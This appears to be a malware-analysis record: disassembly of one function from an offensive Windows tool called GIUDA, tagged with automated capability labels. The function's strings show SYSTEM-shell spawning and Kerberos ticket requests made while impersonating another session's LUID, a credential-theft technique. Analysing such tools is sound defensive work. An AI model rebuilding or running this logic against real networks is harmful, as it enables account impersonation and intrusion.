Function at 0x1000019c0
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x80]
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
nop
mov dword [rbp - 8], 0x55555555
mov dword [rbp - 4], 0x55555555
mov byte [rbp - 0xc], 0x55
mov eax, 1
lea rcx, str._:._fox_aka_calipendula
mov edx, eax
call dbg.VERBOSE
mov edx, 1
lea rcx, str.GIUDA_2023100400
call dbg.VERBOSE
call fcn.100010410
mov rcx, rax
call fcn.100010590
call fcn.10000c640
call fcn.100011170
test eax, eax
jle 0x100001ae0
lea rcx, [rbp - 8]
mov edx, 0x104
call fcn.10000d080
mov rcx, qword [rbp - 8]
mov edx, 0x103
call sub.kernel32.dll_GetSystemDirectoryA
cmp byte [rbp - 0xc], 0
jne 0x100001ae0
mov rdx, qword [0x1000433f0]
xor r8d, r8d
lea rcx, [rbp - 0x18]
call fcn.100007010
mov rdx, qword [rbp - 0x18]
mov r8d, 1
lea rcx, str._ptt
call fcn.100007610
test rax, rax
jne 0x100001ae0
call fcn.100010410
mov rbx, rax
lea r8, str._You_need_Administrative_privileges
mov rdx, rbx
xor ecx, ecx
call fcn.100010660
call fcn.10000c640
mov rcx, rbx
call fcn.100010590
call fcn.10000c640
call fcn.100010410
mov rbx, rax
lea r8, str._vAborting...
mov rdx, rbx
xor ecx, ecx
call fcn.100010660
call fcn.10000c640
mov rcx, rbx
call fcn.100010590
call fcn.10000c640
nop dword [rax]
call fcn.100011170
test eax, eax
jne 0x100001b58
mov edx, 1
lea rcx, str.To_spawn_a_cmd.exe_as_SYSTEM
call dbg.VERBOSE
mov edx, 1
lea rcx, str.C:__GIUDA__runaslsass
call dbg.VERBOSE
call fcn.100010410
mov rbx, rax
lea r8, [0x1000471b8]
mov rdx, rbx
xor ecx, ecx
call fcn.100010660
call fcn.10000c640
mov rcx, rbx
call fcn.100010590
call fcn.10000c640
mov edx, 1
lea rcx, str.C:__GIUDA__runaspid:PID
call dbg.VERBOSE
mov edx, 1
lea rcx, str.Enjoy_GIUDA
call dbg.VERBOSE
mov rdx, qword [0x1000433f0]
xor r8d, r8d
lea rcx, [rbp - 0x18]
call fcn.100007010
mov rdx, qword [rbp - 0x18]
mov r8d, 1
lea rcx, str._msdsspn
call fcn.100007610
mov dword [0x100063010], eax
test eax, eax
jbe 0x100001c5c
mov rcx, qword [0x1000433f0]
call fcn.100002e30
mov rbx, rax
mov rdx, qword [0x1000433f0]
xor r8d, r8d
lea rcx, [rbp - 0x18]
call fcn.100007010
mov rdx, qword [rbp - 0x18]
mov r8d, dword [0x100063010]
lea rcx, [0x100063030]
mov r9, rbx
call fcn.100007560
mov dword [rsp + 0x20], 3
mov rdx, qword [0x100063030]
xor r9, r9
lea r8, str._msdsspn:
lea rcx, [rbp - 0x20]
call fcn.100026e70
mov rdx, qword [rbp - 0x20]
lea rcx, [0x100063030]
call fcn.1000065a0
mov rdx, qword [0x100063030]
mov r8d, 1
mov ecx, 0x20
call fcn.1000076d0
test rax, rax
jle 0x100001c5c
mov rdx, qword [0x100063030]
mov r8d, 1
mov ecx, 0x20
call fcn.1000076d0
mov r9, rax
sub r9, 1
mov rdx, qword [0x100063030]
xor r8, r8
lea rcx, [rbp - 0x20]
call fcn.100007560
mov rdx, qword [rbp - 0x20]
lea rcx, [0x100063030]
call fcn.1000065a0
nop
mov rdx, qword [0x1000433f0]
xor r8d, r8d
lea rcx, [rbp - 0x18]
call fcn.100007010
mov rdx, qword [rbp - 0x18]
mov r8d, 1
lea rcx, str._luid:
call fcn.100007610
mov dword [0x100063010], eax
test eax, eax
jbe 0x100001d24
mov rdx, qword [0x1000433f0]
xor r8d, r8d
lea rcx, [rbp - 0x18]
call fcn.100007010
mov rdx, qword [rbp - 0x18]
mov r8d, dword [0x100063010]
lea rcx, [0x100063020]
mov r9d, 0xff
call fcn.100007560
mov dword [rsp + 0x20], 3
mov rdx, qword [0x100063020]
xor r9, r9
lea r8, str._luid:
lea rcx, [rbp - 0x20]
call fcn.100026e70
mov rdx, qword [rbp - 0x20]
lea rcx, [0x100063020]
call fcn.1000065a0
mov rdx, qword [0x100063020]
mov r8d, 1
mov ecx, 0x20
call fcn.1000076d0
mov rdx, rax
lea rcx, [0x100063020]
mov r8d, 0xff
call fcn.100007970
nop dword [rax]
mov rdx, qword [0x1000433f0]
xor r8d, r8d
lea rcx, [rbp - 0x18]
call fcn.100007010
mov rdx, qword [rbp - 0x18]
mov r8d, 1
lea rcx, str._save
call fcn.100007610
mov dword [0x100063010], eax
test eax, eax
jbe 0x100001d60
mov byte [0x100043270], 1
nop
mov rdx, qword [0x1000433f0]
xor r8d, r8d
lea rcx, [rbp - 0x18]
call fcn.100007010
mov rdx, qword [rbp - 0x18]
mov r8d, 1
lea rcx, str._gettgs
call fcn.100007610
mov dword [0x100063010], eax
test eax, eax
jbe 0x100001f1c
cmp qword [0x100063020], 0
jne 0x100001db4
lea rcx, [0x100063020]
lea rdx, [0x1000472e8]
call fcn.1000065a0
cmp qword [0x100063020], 0
je 0x100001e48
mov rdx, qword [0x100063020]
mov r9d, 2
xor r8, r8
lea rcx, [rbp - 0x20]
call fcn.100007560
mov rcx, qword [rbp - 0x20]
lea rdx, [0x100047308]
call fcn.100007280
test rax, rax
jne 0x100001e28
mov dword [rsp + 0x20], 2
mov rdx, qword [0x100063020]
lea r9, [0x100047328]
lea r8, [0x100047308]
lea rcx, [rbp - 0x20]
call fcn.100026e70
mov rdx, qword [rbp - 0x20]
lea rcx, [0x100063020]
call fcn.1000065a0
jmp 0x100001e45
mov r8, qword [0x100063020]
lea rcx, [0x100063020]
xor r9d, r9d
lea rdx, [0x100047328]
call fcn.1000066c0
nop dword [rax]
call fcn.100010410
mov rbx, rax
mov r8, qword [0x100063020]
mov rdx, rbx
xor ecx, ecx
call fcn.100010760
call fcn.10000c640
mov rcx, rbx
call fcn.100010590
call fcn.10000c640
mov edx, 1
lea rcx, str.____Giuda_betrays_for_a_few_coins
call dbg.VERBOSE
lea rcx, [rbp - 0x20]
call fcn.100006520
lea rax, str.Asking_a_TGS_impersonating_LUID:
mov qword [rbp - 0x40], rax
mov rax, qword [0x100063020]
mov qword [rbp - 0x38], rax
lea rax, str._for_MSDSSPN:
mov qword [rbp - 0x30], rax
mov rax, qword [0x100063030]
mov qword [rbp - 0x28], rax
lea rdx, [rbp - 0x40]
xor r9d, r9d
mov r8d, 3
lea rcx, [rbp - 0x20]
call fcn.100006990
mov rcx, qword [rbp - 0x20]
mov edx, 1
call dbg.VERBOSE
call dbg.KUHL_M_KERBEROS_INIT
test eax, eax
jne 0x100001f1c
mov rcx, qword [0x100063020]
call fcn.1000238b0
movsxd r8, eax
mov rcx, qword [0x100063030]
mov edx, 0xffffffff
call dbg.KUHL_M_KERBEROS_ASK_SESSION_KEY
mov edx, 1
lea rcx, str.____Giuda_spilled_the_name
call dbg.VERBOSE
call dbg.KUHL_M_KERBEROS_CLEAN
nop
mov rcx, rbp
call dbg.fin$00000004
mov rbx, qword [rbp - 0x48]
lea rsp, [rbp]
pop rbp
ret